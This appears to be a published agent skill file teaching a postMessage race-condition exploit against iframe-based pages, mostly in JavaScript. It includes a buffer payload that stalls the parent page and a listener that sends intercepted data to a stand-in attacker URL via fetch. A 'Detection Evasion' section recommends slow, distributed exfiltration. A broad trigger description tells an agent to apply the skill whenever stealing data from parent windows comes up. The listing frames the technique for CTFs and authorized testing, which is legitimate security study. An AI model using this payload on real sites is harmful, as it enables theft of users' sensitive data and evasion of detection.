# Postmessage Race Condition Exploit

> How to exploit postMessage vulnerabilities using race conditions to steal sensitive data from parent pages. Use this skill whenever the user mentions postMessage, iframe exploitation, cross-origin communication vulnerabilities, race conditions in web security, stealing data from parent windows, or any scenario where an iframe needs to intercept messages before the parent page processes them. This is especially useful for CTF challenges, bug bounties, or security assessments involving blob documents, isolated iframes, or message-passing between windows.

- Skill: `abelrguezr/postmessage-race-condition-exploit` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/postmessage-race-condition-exploit`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/postmessage-race-condition-exploit/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/postmessage-race-condition-exploit

---


# PostMessage Race Condition Exploitation

This skill teaches you how to exploit timing vulnerabilities in postMessage communication by keeping the parent page busy while your iframe payload executes.

## The Core Concept

When a parent page creates an iframe and sends sensitive data via `postMessage` after the iframe loads, there's a window of opportunity. If you can:

1. **Let the parent create the iframe** (don't prevent it)
2. **Keep the parent busy** right after iframe creation
3. **Execute your payload in the iframe** while parent is blocked
4. **Listen for the postMessage** that arrives after parent unblocks

You can steal data that the parent intended to send securely.

## Why This Works

Blob documents created from null origins are isolated for security. However, if you maintain the parent page in a busy state, the iframe page continues executing. The parent will send the postMessage with sensitive data (like a flag) after the iframe loads, but if your payload is already listening, you can intercept it.

## Step-by-Step Exploitation

### Step 1: Identify the Vulnerable Pattern

Look for parent pages that:
- Create iframes dynamically
- Listen for postMessage events
- Send sensitive data after receiving confirmation

**Example vulnerable code:**
```javascript
window.addEventListener("message", (e) => {
  if (e.data == "blob loaded") {
    // Sends sensitive data here
    sendFlagToIframe();
  }
})
```

### Step 2: Find an Async Action to Block

You need to find an async action the parent executes that you can slow down. Common targets:

- **Large data comparisons**: Send a big integer that gets converted to string
- **Heavy computations**: Trigger expensive operations
- **Network requests**: Slow down with large payloads

**Example blocking payload:**
```javascript
const buffer = new Uint8Array(1e7); // 10MB buffer
win?.postMessage(buffer, '*', [buffer.buffer]);
```

This works because the parent's comparison `e.data == "blob loaded"` will convert the large buffer to a string, taking significant time.

### Step 3: Time Your Payload Precisely

You need to send the blocking postMessage **just after** the iframe is created but **before** it's ready to receive data. Use `setTimeout` with millisecond precision:

```javascript
// Adjust the timeout based on the parent's timing
setTimeout(() => {
  // Send blocking payload to parent
  parent.postMessage(blockingData, '*');
}, 50); // Tune this value
```

### Step 4: Set Up Your Listener in the Iframe

Your iframe payload should immediately set up a message listener:

```javascript
window.addEventListener('message', (e) => {
  // Check if this is the sensitive data
  if (e.data && e.data.includes('flag')) {
    // Exfiltrate the data
    fetch('https://your-attacker.com/steal?data=' + encodeURIComponent(e.data));
  }
});
```

### Step 5: Complete Attack Flow

```javascript
// In your iframe payload

// 1. Set up listener immediately
window.addEventListener('message', (e) => {
  if (e.data && typeof e.data === 'string' && e.data.length > 10) {
    // Likely the flag or sensitive data
    exfiltrate(e.data);
  }
});

// 2. Block the parent after a short delay
setTimeout(() => {
  const buffer = new Uint8Array(1e7);
  window.parent.postMessage(buffer, '*', [buffer.buffer]);
}, 100);

// 3. Signal that iframe is loaded (if required)
setTimeout(() => {
  window.parent.postMessage('blob loaded', '*');
}, 200);
```

## Timing Considerations

The exact timing depends on:
- **Parent page load time**: How long until it creates the iframe
- **Parent's message handler**: How quickly it processes messages
- **Network conditions**: Affects when data arrives

**Debugging tip**: Add console logs with timestamps to measure the window:
```javascript
console.log('Iframe loaded:', Date.now());
// ... after receiving message
console.log('Message received:', Date.now());
```

## Common Scenarios

### Scenario 1: Blob Document Preview

Parent creates a blob iframe to preview a document, then sends the document content via postMessage.

**Exploitation:**
- Send large buffer to block parent's message handler
- Listen for the document content in your iframe
- Exfiltrate before parent unblocks

### Scenario 2: Modal Preview Systems

Parent listens for "blob loaded" to show a modal with sensitive data.

**Exploitation:**
- Block the comparison `e.data == "blob loaded"`
- Your iframe receives the modal data before parent processes it

### Scenario 3: Cross-Origin Data Sharing

Parent shares data across origins via postMessage after iframe confirmation.

**Exploitation:**
- Race the confirmation message
- Intercept data in transit

## Detection Evasion

To avoid detection:

1. **Use realistic timing**: Don't block for too long
2. **Match expected messages**: Send the confirmation the parent expects
3. **Avoid obvious exfiltration**: Use slow, distributed exfiltration

## Testing Checklist

Before attempting exploitation:

- [ ] Can you inject JavaScript into the iframe?
- [ ] Does the parent use postMessage for sensitive data?
- [ ] Is there a timing window between iframe creation and message sending?
- [ ] Can you identify an async action to block?
- [ ] Do you have an exfiltration endpoint?

## Legal and Ethical Considerations

Only use this technique:
- On systems you own or have explicit permission to test
- In CTF challenges and authorized bug bounty programs
- For educational purposes in controlled environments

Never exploit this vulnerability on systems without authorization.

## References

- [Terjanq Writeup](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710) - Original technique documentation
- MDN Web Docs: [postMessage API](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage)
- OWASP: [Cross-Origin Message Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/04-Testing_for_Cross_Origin_Message_Injection)

